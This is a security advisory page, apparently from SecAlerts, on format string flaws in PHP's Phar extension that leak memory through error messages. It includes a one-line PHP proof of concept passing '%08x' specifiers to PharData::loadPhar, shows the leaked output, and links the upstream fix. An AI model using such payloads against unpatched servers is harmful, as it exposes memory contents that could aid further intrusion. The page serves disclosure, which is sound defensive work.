Where
AND
-Infinity
0
Severity
4

Several format string flaws were found in PHP's Phar extension [1] that could be used to leak some parts of memory via error messages. These have been corrected in upstream svn [2]. The Phar extension is part of PHP since 5.3.0.

This is demonstrated with the following:

<?php

$x = new PharData('a.php'); $x->loadPhar("%08x.%08x.%08x.%08x.%08x");

?>

% php phar.php PHP Fatal error: Uncaught exception 'PharException' with message 'unable to open phar for reading "00000000.00000008.00000000.bffb3624.081ef712"' in /tmp/tests/phar.php:4 Stack trace: #0 /tmp/tests/phar.php(4): PharData::loadPhar('%08x.%08x.%08x....') #1 {main} thrown in /tmp/tests/phar.php on line 4

[1] http://bugs.php.net/bug.php?id=54247 [2] http://svn.php.net/viewvc?view=revision&revision=309221

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203